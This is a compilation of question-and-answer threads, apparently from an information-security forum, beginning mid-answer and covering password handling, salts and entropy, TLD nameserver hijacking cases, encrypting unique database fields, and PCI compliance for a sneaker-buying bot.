Since the username is the public part, it isn't the end of the world if it can be enumerated, however if you really do want to avoid this, the easiest thing is to have them use e-mail address as the username. Then you simply say that you sent a link to the e-mail no matter if they have an account already or not.


Accidentally typing part of password in username on secure website My question is already partially answered here. However I would like to know if the answer would be any different considering the following circumstances:

When logging into a banking website the username box is accidentally clicked when typing the password so the latter half of the password is appended to the username before being submitted.

Considering the website is a banking website, and not the whole password is revealed, if something like the above scenario happened, although it would probably be advisable to change the password, would I get away with not doing so?

If you submitted the login form (i.e., clicked "Login" button) then you should probably change the password as it could potentially show up in their webserver logs.

If you did not submit the form and simply typed it into the text box on the page, then deleted it (assuming no one was looking over your shoulder), you should be ok regarding the action as a whoops and move on.


Hotspot SSL issues, MtTM like exceptions I have doubt about how to implement hotspot for my startup. Idea is to have implemented WPA2-Enterprise with remote radius server and splash page. This implementation came after the reason of ease of remembering password on client devices, so they can access to AP without having to enter password every time they login.

But with progress of SSL implementation on the websites there is a fear that it might greatly increase issues with raising certificate errors because of MiTM like exceptions.

And as I know of, there is no solution for old clients/browsers to avoid such situation.

So, does anyone know more about statistics, how many clients would possibly be affected by this issues, today, in a real world, and what can be expected?

Additional note:
Maybe I was not clear, very common Cons with captive portals is that they raise SSL invalid certificate error when it's being redirected to the Splash/login page, so the question concerns about usability of captive portal and current implementation of solution in browsers.

This question is a little convoluted, but you seem to have conflated network authentication methodologies with SSL (TLS).

WPA2/ Radius is not a proxy, so MiTM is not applicable.
SSL / TLS provides end-to-end encryption for data content. How those packets are routed in terms of WiFi is irrelevant.

Think of it this way: you have encased a letter in an 800 pound safe. You can move the safe from point A to point B using a train (ethernet) or you can do it via an airplane (WiFi).

In both cases, the mode of transportation is irrelevent to the message (the letter) it's protection (the safe) and its delivery.

Your radius server simply acts as a registry of allowed train depots and airports from which the letter in the safe can be dispatched.

If you're concerned about the "burden" of users having to remember their password to access your network, then you're going to be sadly disappointed in man-kind. It seems to be a prerequisite for users to complain about their passwords and the inconvenience of having security. Security and ease-of-use are diametrically opposed. So, you have to compromise between having great security (encasing your wifi in concrete and sinking it to the bottom of the ocean) and having usable wifi (open, unencrypted, click to connect house of internet disease).

If you're willing to front-load your efforts, you can make it "easier" to connect to your wifi by implementing radius that uses RSA or other key encryption. To the user, that's "click to connect" easy because all the authentication is done behind the scenes.

If you can't (or are unwilling) to do this, then you need to tell your users they are going to have to remember their passwords. If the users are employees, then it's their tough luck that they have to put "effort" into their job. If the users are customers, then you have to make a judgment call on how much security they are willing to put up with in order to access network resources and where your liability is. Users probably won't let you setup RSA, nor will they want to type in d892la0as9jfm10-9svnm as their password.

In either case, RADIUS does not a proxy make, and therefore, MiTM worries are baseless.


How can sms messages recieved be identified without senders details? My fiance is receiving random annoying, anonymous SMS Text Messages without any senders details.
I'm not tech savvy and don't know how this can possibly be achieved but is there any way possible of being able to identify the sender without using the Service Center and involving law enforcers, or is there a way to block them?

Your carrier may be able to tell you what provider was used to send them the SMS, but I'm afraid the sender/caller ID field is just a text field and can be either spoofed or simply not included.

There are a number of carriers happy to charge someone to send an anonymous SMS, making it near impossible without Law Enforcement assistance to track the sender.  Spoofed (and I believe anonymous) SMS was a feature in the Social Engineering Toolkit (SET) and there are Android and iOS apps that will facilitate it as well.


Machine readable, user non-readable - XML file I need some advice as I have been unable to find anything useful via the web - (Google search).

I have used the application EventGhost so as to create a custom shell, that I run using the Windows 7 Professional OS as an alternative to the explorer shell. I was wondering what options I have (and even if it is actually possible), so as to encrypt the resultant XML code, so that it appears as gibberish to the end user, but remains as readable to the system (and most importantly the eventghost application).

What you are talking about is not so much encryption as obfuscation. Obfuscation techniques are generally not considered part of cryptography.

XML is a data format and as such doesn't perform any processing by itself. Obviously it can contain elements that require processing but that processing is probably not Turing complete. That means that an encrypted XML file by itself cannot be interpreted by the EventGhost parser. Besides that, EventGhost can probably not be configured with a key, so that makes it impossible to use symmetric or asymmetric encryption techniques.

So what can you do with regards to obfuscation? Well, you can replace all the readable characters within the tags by escape codes. See the W3 XML specifications for more detail. But please don't call this cryptography or encryption. Google for XML obfuscation and you may find other resources.

If you want real crypto then you must be able to decrypt before the XML file is processed. XML-enc would of course come to mind.


Hack a website using database username and password Is it possible that someone could hack a website if they have the database name, database username, and database password? If so, how do they do it?
The database connection is mysql.

Yes, if your database is exposing itself to the internet. A database can be configured to listen on the network in order for other, authorized computers to connect. If it is exposed and all this information is public, then anyone will be able to perform privileged actions on that database even if they shouldn't.

Still, you shouldn't be revealing your database credentials, or other local processes on your server might be able to connect to the database locally (not through the network) if they have been compromised.


Should one sign and encrypt using the same key? The Azure Training Labs are taking this approach I'm taking the Azure lab LoadBalancing with WCF and recognise what I have been told is bad from a security perspective, but am not sure if it applies here.

Can someone look at this code and tell me if different certificates should be used in production code?

public class RsaSessionSecurityTokenHandler : SessionSecurityTokenHandler
    {
        public RsaSessionSecurityTokenHandler(X509Certificate2 certificate)
        {
            List<CookieTransform> transforms = new List<CookieTransform>();
            transforms.Add(new DeflateCookieTransform());
            transforms.Add(new RsaEncryptionCookieTransform(certificate));
            transforms.Add(new RsaSignatureCookieTransform(certificate));
            this.SetTransforms(transforms);
        }

        public override ClaimsIdentityCollection ValidateToken(SessionSecurityToken token, string endpointId)
        {
            if (token == null)
            {
                throw new ArgumentNullException("token");
            }
            if (String.IsNullOrEmpty(endpointId))
            {
                throw new ArgumentException("endpointId");
            }

            // in active cases where absolute uris are used check the all parts of the token's
            // endpoint id and this endpoint's id for equality except the port number
            Uri listenerEndpointId;
            bool listenerHasUri = Uri.TryCreate(endpointId, UriKind.Absolute, out listenerEndpointId);
            Uri tokenEndpointId;
            bool tokenHasUri = Uri.TryCreate(token.EndpointId, UriKind.Absolute, out tokenEndpointId);
            if (listenerHasUri && tokenHasUri)
            {
                if (listenerEndpointId.Scheme != tokenEndpointId.Scheme ||
                    listenerEndpointId.DnsSafeHost != tokenEndpointId.DnsSafeHost ||
                    listenerEndpointId.AbsolutePath != tokenEndpointId.AbsolutePath)
                {
                    throw new SecurityTokenValidationException(String.Format("The incoming token for '{0}' is not scoped to the endpoint '{1}'.", tokenEndpointId, listenerEndpointId));
                }
            }
            // in all other cases, fall back to string comparison
            else if (String.Equals(endpointId, token.EndpointId, StringComparison.Ordinal) == false)
            {
                throw new SecurityTokenValidationException(String.Format("The incoming token for '{0}' is not scoped to the endpoint '{1}'.", token.EndpointId, endpointId));
            }

            return this.ValidateToken(token);
        }
    }

It is a general best practice to use two separate key pairs (and hence certificates) for signature vs. encryption.  I just refreshed myself on the reasons why:

When a key is used for encryption,
it's often wise to escrow it so that
if it's lost, the encrypted content
is not also lost.  However,
non-repudiation associated with a
signature certificate isn't viable
with multiple copies of the key pair
around.  So you don't want to escrow
the signature certificate.  From
Wikipedia

That's the best one I've heard of.  A lot of the time what I'm told is "just do it", and given that often one has to work within the constraints of the PKI one is forced to use, that's a fair enough statement.

Personally, I think for a simple PKI, bundling the two together - especially if you are using the "encryption" capabilities of the key for something like SSL - a transitory type of encryption for just point to point communication - then the security risk is not that high.

However -- sometimes you have to be ready to work with any PKI that comes along.  So if the code had hard coded the assumption that the encryption certificate and the signing certificate will always be the same thing, then I think you have an interoperability problem.

As a last thing - I'm a little confused on the code - I'm assuming that "ValidateToken" does the validation of the signature on the token, right?  It can't be both decrypting and validating the signature using the same key pair...  encryption is for sending to the key pair holder, signing is for verifying information from the key pair holder.  Is it just doing a signature validation here?


How to figure about the total amount of password combinations possibles that have salt values? I'm reading this book about Computer Security to better prepare me for my role, however, this question is just not clicking to me. I've figured out half of it, but cannot figure out this last part. If someone can show me how, that would  be great.

The question:

  Assume that passwords in a system are limited to the use of 95
  printable ASCII characters and that all passwords are 10 characters in
  length. Assume the system is not using any salt values.

  a.    How many different passwords are possible? 95^10 possible
  passwords

  b.    Assume a password cracker with an encryption rate of 6.4 million
  encryptions per second. How long will it take to test all possible
  passwords? 296,653 years (based on my calculations)

  Suppose that there are only 4 users in the system described in part
   (I) of the question, and each user has a different salt value (stored
   as plain text in the password file).

  c.   If the password cracker
   above is used, how long will it take to test all possible passwords?

I cannot figure out question C. The added possibility of 4 users and different salt values is really throwing me off. If I could figure out the different combinations, the time needed to test all passwords would be cake to calculate. If someone can show me how to figure this out, that would be great!

Salt is stored in plain, alongside the hash, so there is no need to test multiple salt combinations when the correct salt is known. This will make your calculations simple.

If there is no salt, one could crack all passwords in one brute force job.

But if each of the 4 users has a different salts, then it will take 4 separate brute force jobs.

So 296,653 years for a single salt × 4 unique salts = 1,186,612 years to crack passwords for all users.


Does using characters specific to language make password stronger So let's start of example. I live in England, and have a Polish keyboard. I can use Polish specific letters like ąćęłńóśżź, one could also use German ßäë etc.

Would using those letters make password stronger?

I think that definitely it would decrease chance of random person guessing my password, as they may not be able to input required character.

I also think that this would make password stronger as usually even if database is stolen brute force programs usually goes through standard a-z, 0-9 and special characters like !@#$%^&*()_+=- etc. But it seems that those language specific letters are not used to find password.

Using characters specific to language does make password stronger, but not exactly for the reason you stated. If you count on the attacker not including your language specific characters into their dictionary, then your password will only be safe until they know that you are using a non English alphabet. And according to Kerckhoffs's principle , you should presume that they already know this.

However, if you use your specific characters along with character in English alphabet, your password will become stronger simple because each character in your password will have more entropy. Let's say we are using a randomly generated, lower case only password (in practice you should mix both lower case, upper case and special character, but the basic is still the same). Take your Polish alphabet for example, if you combine Polish and English alphabet, you will have 35 distinct characters, while the English alphabet only has 26. That means each character in our Polish+English password will have roughly 5.13 (log2(35)) bit of entropy, while a character in the English password will only have around 4.7 (log2(26)) bit of entropy.

Now let's say our password is 15 characters long, in the first case we have 15 x 5.13 = 76.95 bit of entropy, while in the second case we only have 15*4.7 = 70.5 bit of entropy. If you keep mixing more and more different alphabets, then each character in you password will have more and more entropy, and your password will become stronger given the same length. However you run the risk of not being able to login from other devices because they don't have your language keyboard installed, that's something you should keep in mind.


Mobile phone tracking, identification of the attacker Once I was told that you can identify if your mobile phone is being tracked by someone (e.g. police), by calling placing a specific prefix to the number. This prefix in my country is normally reserved for for landline phones, not for mobiles.

I tried it for many mobiles, including mine, and all I get is just a "beep", not wrong subscriber message, nothing.

Recently one friend of mine has some minor law problems, and suddenly if I call his number including the prefix, it not only calls normally, but also a lady picked up the line, asking who I am. Every time we called her, when she realized that we were not the one she was wanting to call her, she was hanging up, without explaining who she is.

I believe that my friend's calls are intercepted by someone, and that in fact I talked to the attacker. This behavior is constant no matter where my friend is (so no over-the-air man-in-the-middle attack), and with any mobile phone (so no spying app, or hacked electronics).

Who can we identify the attacker, and/or make sure that my friend will get out of all these?

Phone tapping that isn't done by physically altering the two phones themselves is done by plugging into various access points in the network between the two phones. These access points are controlled by A) phone service providers or B) governments. Neither of them are likely to have (nor would they want to) a number or prefix or other method of checking what access points your call is routed through.

The only conceivable way I could see the intended situation happening is possibly if you're entering a prefix meant for network technicians to use to diagnose the network. But this is very very unlikely, especially since you had someone answer.

This mysterious prefix is probably an area-code or maybe another country-code(!). Watch for long distance charges on your bill now.

Some phone providers do provide you with prefixes to do things like mask your number from the caller id of someone you're calling, but this would have no affect for someone hacking your phone or the phone network.


ISP Email Issue on Port 25 My ISP, a small, local “mom & pop” outfit, provides my email services.  For the last six months or so, my main email account frequently fails to update with the following message, “Could not connect to server mail.win.net; the connection was refused.”  Sometimes it works, sometimes it doesn’t.  Interestingly, my other two email accounts on this server almost always update without error.  These two “working” email accounts have very low volume.

The ISP tech guy insist that the problem is likely due to malware on my side.  Scans by MSCERT, Malwarebytes and Norton virus software reveal no malware on the PC.  The PC is not networked with other PC’s.  It is a standalone workstation connected to a Netgear switch that resides on a home, uVerse router.

How can I determine if I have a spam bot or some other malware on my workstation spewing out email on port 25 causing the ISP to reject a connection?  Are there tools available that would allow me to monitor this and identify then delete the offending software?  If this is indeed the problem, why doesn't the standard scanners pick this up?  Or does the ISP have some parameters set improperly limiting my main email account's connection to their mail server when volumes are high?

What you are looking for is a "packet capture". You want to capture all traffic on port 25 from your network and see:

volume of traffic
type of traffic
destination

If all looks ok, then it's not malware.

A small ISP blaming the customer and invoking malware/virus/sunspots/aliens as the culprit is nothing new.

Aside from the above, though, this really isn't a security concern but a networking troubleshooting concern.


Is having a compromised TLD nameserver a security threat? I strayed into the .PH TLD record on the IANA root zone database and found the first nameserver interesting.
I don't really know why they're there and I'm not in the right to assume, but considering the political climate in and between both countries (China and Philippines), it caused me a slight concern.
Could a bad actor do anything bad if they're a TLD's nameserver? If so, what are some examples? One that came to mind is DNS query harvesting then using it to track/profile users.

Could a bad actor do anything bad if they're a TLD's nameserver? If so, what are some examples?

Yes and see some examples below (I remember right now at least the following relevant cases, and will add more later if my memory finds out others).
Attacks on key actors in the chain of DNS resolution
The latest attack on some actors in DNS land was probably not just by luck targeting registrars/root/TLD nameservers operators. See:

https://arstechnica.com/information-technology/2019/02/inside-the-dnspionage-hacks-that-hijack-domains-at-an-unprecedented-scale/
https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html

but in summary the door in the foot was:

The DNS records for the domains sa1.dnsnode.net and fork.sth.dnsnode.net also were changed from their rightful home in Sweden to the German hosting provider controlled by the attackers in December. These domains are owned by Netnod Internet Exchange, a major global DNS provider based in Sweden. Netnod also operates one of the 13 “root” name servers, a critical resource that forms the very foundation of the global DNS system.

and:

Contacted on Feb. 14 by KrebsOnSecurity, Netnod CEO Lars Michael Jogbäck confirmed that parts of Netnod’s DNS infrastructure were hijacked in late December 2018 and early January 2019 after the attackers gained access to accounts at Netnod’s domain name registrar.

The DHS even published an emergency directive on this case: https://cyber.dhs.gov/assets/report/ed-19-01.pdf
It is a clever, long running, sophisticated attack and I recommend studying it as it shows a lot of vulnerabilities in the current domain name system; Kreb's post gives 7 remediations possible at end, note that not a single one alone could have prevented the problem - the provider did use DNSSEC in fact! - and hence that most of the vulnerability still exists today - registry locking of domain names is also something not widely known yet useful.
Attacks on registry infrastructure having vulnerabilities
TLD nameservers can be sometimes hijacked just because of technical errors/bad configuration, this is one example: https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html
TL;DR:
The registry used ns-a1.io as authoritative nameserver on the TLD (and other ones with the same pattern)... except that at the same time anyone was free to register this name as a domain name and hence get complete control of a part of all DNS resolution for the whole TLD!
Non-technical attacks on "stealing" the TLD
While in part subjective, .SK is a famous example.
See https://medium.com/@Oskar456/stolen-sk-domain-717e070f6735
with the core part being:

In 1995, the people operating the TLD at Comenius University started the takeover attempt by renaming their private company Softwarehouse, s. r. o. (s. r. o. stands for limited liability company) to EUnet Slovakia s. r. o., which was similar to the name of the informal group taking care of the registry. In addition, they relocated the company to a small leased office on the premises of Comenius University so they would share the postal address. Then, in 1999, they asked ICANN to do a minor adjustment of the delegation — delete “Comenius University” and add “s. r. o.” after “EUnet Slovakia.”

This was one case in my longer answer at https://superuser.com/questions/1332236/what-happens-to-country-specific-tlds-in-a-war-involving-that-country to the question "What happens to country specific TLD's in a war involving that country?" where you will find similarities and other examples.
The attempt to have a court take the whole .ir TLD as a remediation would also be a case on non-technical TLD hijack.
Specific case of ph "served" by hk
Going back to your specific case where you seem surprised that one of the .ph authoritative nameservers (remember that there is no order, so do not say "first") is ns2.cuhk.edu.hk hence under hk administration, I can not tell exactly why and how but I know this:
not all ccTLDs have big infrastructure or money to pay DNS providers to have a full reliable anycast constellation of nameservers for their TLD resolution (even if they are some doing that almost for free). Hence it was always a long standing practice of ccTLDs trying to help each other, and hence exchanging DNS services by having TLD1 give TLD2 one of its nameserver as authoritative. It helps in load balancing and at least at the beginning there was no politics involved and this was mostly solved like BGP peering requests (over a beer at a bar).
Note also sometimes it can be used for technical reasons and locality if it is believed that a significant amount of the population of users interested by the domains under the TLD lives in a specific area of the world better served by a nameserver in another "location" (network location is far different than geographic localtion). As as example have a look how .gp (Guadeloupe) uses as authoritative one nameserver from the French .fr registry (nic.fr)  and one from the European organization RIPE (which is/was providing secondary authoritative nameservers for many ccTLDs, especially smaller ones).
Now, one has to remember that when you use a domain in a ccTLD, you are under its jurisdiction. And anything can happen here. .ly is a famous example in that regard (see for example https://www.forbes.com/sites/davidewalt/2010/10/06/libya-revoking-ly-domains-that-dont-adhere-to-sharia-law/), but extrapolating you can say that .ph has a little risk in relying on an .hk domain name for its core infrastructure. It is not a technical risk right now, but still a risk.
As Håkan touched in its answer but I think it merits expansion, any owner of one such TLD nameserver can theoretically do two things:

capture the data and see queries coming at it: by virtue of the DNS protocol it would see only, on average, a share of all requests, around the same amount as any other nameservers
change the data returned and hence potentially hijack connections; this could be detected if DNSSEC is in place (which not all TLDs do)

PS: you don't need a screenshot, and you are better without.
You can do a DNS query:
$ dig ph. ns +noall +ans
ph.         12h IN NS ns2.cuhk.edu.hk.
ph.         12h IN NS ns4.apnic.net.
ph.         12h IN NS 1.ns.ph.
ph.         12h IN NS ph.communitydns.net.

or a Whois query to IANA whois server:
$ whois -h whois.iana.org ph | grep nserver:
nserver:      1.NS.PH 206.51.255.1 2620:171:805:ad2:7068:0:0:1
nserver:      NS2.CUHK.EDU.HK 137.189.6.21 2405:3000:3:6:0:0:0:15
nserver:      NS4.APNIC.NET 2001:dd8:12:0:0:0:0:53 202.12.31.53
nserver:      PH.COMMUNITYDNS.NET 194.0.1.23 2001:678:4:0:0:0:0:17


Verifying server software integrity? I'm trying to brainstorm a security scheme for the problem of verifying server software integrity. The domain of this problem is Game Servers built on Valve's Source Dedicated Servers. These servers are used in competitive gaming, and the integrity of these servers can be incredibly important in running tournaments and whatnot.

Game clients are already verified quite well in a number of ways by Valve's Steam system. Because of various content-verifying and anti-cheat systems (VAC), we can be fairly sure that no client-side content is modified.

However, on the server side, there are little to no protection schemes in place to ensure that clients are playing on unmodified versions of the software. The software itself is inherently configurable (through config variables and commands), and it allows extensions on functionality through Server Plugins. In addition, there are no checks on the server code on filesystem or in memory. SRCDS servers are inherently modifiable on many levels.

This poses a problem in competitive gaming on the Source engine. It is possible for any number of ConVar modifications, plugins, or server binary modifications could be used to "cheat"--to give an advantage in gameplay mechanics to one team over another, or one player over another. There is currently no way for a client or third party to verify that the SRCDS server is unmodified.

The basic solution to this issue seems to be open-ness. We can make changes to ConVar values be announced to clients, make lists of plugins running on the servers available to clients, and even do CRC checks on files on disk and in memory and provide clients with resulting values. However, none of this can be differentiated from a server which falsifies the announced/provided information. Anything down this path essentially feels like obscurity rather than security.

How can I design a system to verify server software's integrity using only challenge/responses to that server?

P.S. Feel free to ask questions or ask for more specifications.

What a great question. I think this is one of the things that divides the games industry- do you centralise your servers to keep control over them, but then suffer from lack of flexibility to gamer needs and be accused of ruling with an iron fist or do you give control over to the gamer population and run the risk of malicious or tainted servers.

Three thoughts occur to me- none are ideal, but might be of use.

Announce configs to clients- this won't put off major compromise of the server but will increase the effort required from the malicious party.
Go down the route of trust and reputation, and have gamer rate servers whether they think they are honest or not. This also has issues, and rep can be gamed too but it is another option.
Provide the server software as a module you can query (a la punkbuster and valve's own checks) and disable on inconsistencies. Again, it has been proven again and again that this type of thing will be broken at some point as someone analyses the code to understand what response to send back, and it will annoy server owners, but it will also increase the effort required from the malicious party.


Encrypting unique fields in a Database I'm still a beginner to cryptography and want to know what the best practice is for solving the following problem:

I'm creating an application with the requirement that a user's email address must be encrypted (at rest) in the database. An email address is also the identifier for a user and thus must be a unique field in the Database.

When a new user signs up, the encrypted value of the email is compared to all  previously encrypted values to check for a duplicate.

Will using a symmetric algorithm such as AES-256 ensure that:

Collisions can't occur between two different emails
Two of the same emails cannot end up as different ciphertexts (deterministic)

I don't want to use one-way hash and salts because I need to be able to access the plain text when necessary.

Any help or advice would be greatly appreciated.

So, it looks to me like this is a homework problem, although it could be job assignment; I'll try to answer in a way that meets both. First, some general thoughts on databases and stored data encryption. FWIW, I used to work for a large database vendor and advised the developer who built their column and table encryption feature.

Challenges

The challenge with encrypting stored data in a database is the diametrically opposed goals. With plain old stored data, you often want it indexed (for fast searches) be it for Primary Keys (data in column must be unique) or Foreign Keys (joins). With encrypted data, you don't care so much about the properties of the plain text data, however, you do care that crypt text doesn't accidentally reveal any information about the plaintext. Here, too, the crypt text can be unique, although the uniqueness property is actually working against you. More importantly, matches of crypt text (whether that crypt text is reversible encryption or irreversible hashes) is a non-requirement, that is, you don't want it to match ever.

See the diametrical opposition? Searchable vs. No Information Leakage. Searchable means there's an Index out there which means it's Sorted which means you have Information about the properties of the data. Sorting crypt text is useless, so you really want the Index to Sort on plaintext, but that then leaks Information! So, basically, what we are saying is, you're really quite up a creek with this one. In your example, you want the email address to be both unique (as in Primary Key, searchable in the database) and yet provide no information in the case of theft (encrypted in a secure manner).

All that said, we still want to solve the problem of stored data encryption, so what should we do?

There are two solutions: (1) native database encryption or (2) application level encryption.

In Native Database Encryption, the database itself runs the crypto, stores the data on disk as encrypted, maintains various keys in a wallet & IVs with the data, and provides access control for who can and cannot retrieve the data. It also encrypts indices when the data column is a Primary Key or the column has an Index on it. In some ways, this is nothing more than a glorified access control scheme. However, it meets the requirement that the data be stored (at rest) in an encrypted form. Of course, this means the crypto feature is built into the proprietary database or someone coded it into an Open Source database.

In Application Level Encryption, an app developer encrypts the data and then stores that in the database. I think Mike did an excellent job outlining some of the choices with this model. I'd reiterate that the biggest challenge here is how to handle encrypting data you also wish to be a Primary Key (unique to a column). Since the proper (i.e. secure) method of encrypting data is to generate a unique IV per plaintext, you'll have to scan and decrypt every crypt text email address before determining you have a unique email. That's not a very good situation from an operational perspective (very bad runtime behavior).

Options

Try to use an alternate unique identifier. Email addresses are bad for this, although they are seductive and everyone loves them. They're great for password reset, so leave them as part of the user profile, but instead assign the user a unique numeric ID. These are difficult to guess for an attacker. Often, the most public thing known about a person is their email. Using it as a username makes attacks on an account that much easier.
If email address must be the unique user ID and if encrypted email address is a check the box requirement, use a database that provides native column/table encryption as you can legitimately check the I-encrypted-it box. Oracle (the company I used to work for) has a database that does this. There might be others.
If email address must be the UID and you cannot specify a database that has native crypto (or this is a homework assignment), you'll have to resort to application level cryptography. I have a suggestion to solve the Primary Key problem.

Application Level Stored Data Encryption

Assumption: Some data which must be encrypted must also be unique in database column. Let's call that data "email address".

You're best bet is to properly encrypt the email address by adding a unique IV to each plaintext. This means you cannot make email address column an Index or a Primary Key. First, if you store the IV in a separate column from the crypt text, there's a very small chance that the crypt text will collide (be equal) even if the plaintext is not. It's very small, but I believe one should always code for correctness, so no Primary Key. Next, Index on crypt text is useless, anyway. If the IV is different per row, you cannot do any meaningful search or join on the column, so application level encrypted data columns should never be Indexed.

Depending upon the row count in your table (number of unique users/email addresses), doing anything with that data is going to be horrific. Every time you touch it, you'll have to decrypt on average 50% or possibly 100% of the data depending upon what you're doing. If the database has advanced features (like virtual tables, stored procedures that can build them and internal cryptographic APIs), you might be able to have the database do the heavy lifting for you. This, to be honest, is your best bet. Oracle has the DBMS_CRYPTO PL/SQL package (I wrote it), so, yes, again Oracle can help you solve this problem. No, I no longer work for the company, nor do I own any of its stock. Sorry, I don't mean this to be a sales pitch for Oracle.

Let's say you don't have access to these advanced database features, what to do next? All this comes down to the need to expose useful some information about the email address without allowing an attack on the user data. Here, your decision swings on how large your user population is.

If it's small, just encrypt everything with IVs and decrypt it all to match. The speed of operation won't be that expensive and the extra development work won't be worth it. If this is a homework assignment, that's your best bet.

If the user population is large enough that full table decrypt will be noticeable, then still encrypt everything with a unique IV, however, provide a second, indexed column in which you hash the email. Now, this hash is not your normal cryptographic hash. In fact, you don't want anything of the kind. You want a hash algorithm that has a fair amount of (but not too many) collisions. Collisions are your friend.

Here's a possible algorithm:

    E = Email Address
    Choose N s.t. 2^(N+3) <= NUM_USERS < 2^(N+4), N>=0)
    H(E) = (Sum each ASCII value of E)%(2^N)

Assuming a uniform distribution of email addresses, H(E) will produce 12 or so collisions for a large dataset on average. If you store H(E) in a second column and index it, you can quickly locate candidate email addresses that may match the plaintext email address while ignoring most of the other email addresses. You'll need to redo all of the hashes every once in a while when the population of users jumps above a level. You should also redo them when it drops below a level. You  should add hysteresis to this process so you don't flail around redoing the hash column if a user adds/deletes often.

There is Information Leakage with this design, you can guess email addresses and see if they match the Hash column. Other unencrypted data (like a State or Age field) might allow an attacker to triangulate on who the user really is. It's not perfect. However, if you've got 10^6 users, you're going to have to solve the problem some how which means leaking some information.

Also, this won't allow you to sort by email address (no alphabetic sort). It acts more like a true Hash Table from a Data Structures class.


How and where to begin on the Return of Web Application Security Investment? While there is a vast trove of vulnerabilties, threats and their corresponding countermeasures, the amount of information on Infosec Economics (Specifically for web applications) seems scarce.

What are the resources and tools that I should look into to make implementation of a Secure Software Development process or even Threat Modeling exerise, measurable? The existing resources focus heavily on network security so something specific to application security practices such as the list below is what I'm looking for:

Threat Modeling
Code Review
Penetration Testing
Secure Development
Implementing Counter-Measures
Counter-Measures costs vs Breach Costs

Look at the Microsoft Security Development Lifecycle.  This is one of the seminal and best-in-breed approaches to secure software development, and Microsoft has generously provided a great deal of material, resources, and tools to support the lifecycle.

Also, take a look at the Building Security In Maturity Model (BSIMM).  BSIMM doesn't tell you how you should do secure software development.  Instead, it provides a way to measure the maturity of your software development processes on a dozen different dimensions.  The great thing about BSIMM is that it has been applied to dozens of other companies, and data is available about where other companies rate, so you can compare yourself to other companies in your industry sector to see how you are doing.

If you want material specific to web security, you might start with OWASP.  They have many resources, tools, and documents on web security.

There are many other resources out there, but I think you'll find these a great start.


What are the biggest unsolved problems in IT Security? Just recently I thought about all the solved problems in IT security, like XSS (which one can mitigate with input validation), SQL Injection (mitigated with prepared statements), etc.

Now I'm wondering, what are the biggest unsolved security problems of the year 2010? I'm wondering here if there are vulnerabilities out there for which we don't know yet a good way to mitigate them. Except how we can get everyone to use the solutions to the solved problems.

Social Engineering by far.

Humans will remain vulnerable to social engineering for a long time to come and as the saying goes, "Security is only as good as the weakest link."


PCI DSS: Is there a way to pass encrypted billing data through a server without compliance? Hope all is well.

I am developing a primarily cloud-based tool that allows the end-user to enter in billing data and task data via a desktop application, and the billing data is stored locally (their account data and the task data is stored on a sever, but there are no issues with that).

They can create, edit, delete, and run these "tasks" that purchase items from E-Commerce stores right when they release to secure copies, and it is generally intended to be used for obtaining limited sneakers right when they release. So, their billing data, which is stored locally, is in JSON format and encrypted using our own keys. It will get sent to a server, running an instance of a task execution system we've setup on several of its ports. When a task is ran, it will search for one of these ports that isn't in use, and send the package of data so the script can run and purchase the product(s). This package of data contains the billing info JSON, which is decrypted upon arrival at the server, and some plaintext data (such as what size of shoe or what shoe color).

The server has an SSL and other basic security practices in place, but I do fear the complicated PCI standards inhibiting this project. So, that leaves me with two questions:

1) It looks like the amount of money you need to pay for compliance varies on your number of servers. If I have several ports on one server transmitting the billing data, do I need to get all of those ports assessed and pay for all of that, or just the one server that is hosting all of them?

2) Can I do this without complying to any of these standards? And if not, is there any good way to estimate would the price range would be per server?

Thanks so much for your time.

Disclaimer: I'm not a PCI expert, but I felt morally obligated to chime in with some perspective. There are a number of similar PCI related questions you can find in the "related" tab - PCI is not just a matter of paying for compliance.

PCI compliance is applicable to anyone who processes credit card information. That would be anyone who can take that card and turn it into cash, so to speak - or who has a service agreement with a different company that can do things with that card.

If you had a relationship with a credit card processor (there are many services available), you would almost certainly be contractually obligated not to store this information - but you would also almost certainly use the credit card processing company for storage, so you wouldn't need to deal with compliance.

If you were processing card information directly, you would need to be PCI compliant, but it's not just about number of servers, but your entire set of processing behavior, and it would be very difficult to comply because your fundamental application model is broken.

The example use case you describe, PCI Compliance is the least of your worries, because your application workflow model is basically tantamount to a guy on the street hanging out outside a Costco or other members-only store and saying "give us your credit card and tell us what you want us to buy for you, and we'll go into the store and buy it... until they ban us because someone keeps giving us stolen credit cards."

You can't hold on to a customer's card information so you can submit it on other web sites. Period. It's a logistical and security nightmare for a number of reasons.

There's big business in validating if a stolen credit card works - scammers are constantly trolling the internet for sites that don't have rate limits or captchca checks so they can test card numbers against them. This is great for them because it sounds like they're even telling you what to buy and what card to use, and even support different sites! It's like an API for spammers.
Stores are just going to ban you sooner or later, probably for using stolen cards or placing many orders with different addresses and payment information, which will trigger all sorts of fraud checks.
There's no benefit to your server handling this data instead of it all happening directly on a user's machine - a script or client side application could purchase directly from a user's computer, without trying to awkwardly make the workflow go through your own servers. I expect this would impact your business model, though.
If your idea of submitting data for asynchronous task execution to a server is "see if one of the ports is free", you don't want to be dealing with credit card information and the liabilities associated with it. It betrays a general lack of experience with software architecture and development... which is fine for an passion project, but is a really bad idea when you want to be touching credit card numbers. You're talking about a system that if misused could get you sued, or lose people all the money in their debit accounts or leave them with hefty credit card bills if something goes wrong with the architecture or security.
It's possible that if your system was compromised in any fashion, or even if it wasn't, users wouldn't be able to claim their credit cards were stolen, because it's not uncommon for credit card user agreements to essentially say that if you give someone your card number or card so they can use it, you won't get reimbursed for fraudulent transactions.
Why not just have an application that notifies users when things they've flagged go on stock? There are existing plugins and applications that can make it simple for them to fill in card information, without needing to deal with storing it.